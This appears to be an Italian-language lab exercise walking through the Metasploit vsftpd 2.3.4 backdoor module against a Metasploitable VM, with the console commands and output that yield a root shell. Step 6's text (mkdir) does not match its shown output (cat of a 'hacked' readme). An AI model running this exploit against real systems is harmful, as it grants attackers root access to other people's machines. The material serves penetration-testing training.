

Esercizio di hacking con metasploit

Configurazione:

Macchina attaccante: kali linux - 192.168.10.11

Macchina target: metasploitable - 192.168.1.149

Servizio target: FTP vsftpd 2.3.4

1. Apertura di metasploit framework con il comando **msfconsole**.
2. Ricerca e scelta dell'exploit conoscendo servizio e versione target:

```
msf6 > search ftp 234

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
--  -
0  auxiliary/server/pxeexploit              .               normal No      PXE Boot Exploit Server
1  exploit/unix/ftp/vsftpd_234_backdoor     2011-07-03      excellent No      VSFTPd v2.3.4 Backdoor Command Execution
2  post/windows/manage/pxeexploit           .               normal No      Windows Manage PXE Exploit Server

Interact with a module by name or index. For example info 2, use 2 or use post/windows/manage/pxeexploit

msf6 > use 1
[*] Using configured payload cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

3. Configurazione del target (remote host):

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
=====
Name      Current Setting  Required  Description
--      -
RHOSTS    .               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     21              yes       The target port (TCP)

Exploit target:
=====
Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

4. Configurazione del payload:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
=====
#  Name                                     Disclosure Date  Rank   Check  Description
--  -
0  payload/cmd/unix/interact              .               normal No      Unix Command, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set PAYLOAD 0
PAYLOAD => cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

5. Lancio dell'exploit - ora e' possibile comandare la shell di metasploitable:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.10.11:39679 → 192.168.1.149:6200) at 2025-05-12 10:25:11 -0400

pwd
/
```

6. Creazione di una cartella all'interno della macchina target con il comando **mkdir test_metasploit**:

```
pwd
/
cat test_metasploit/readme.txt
you have been hacked!
```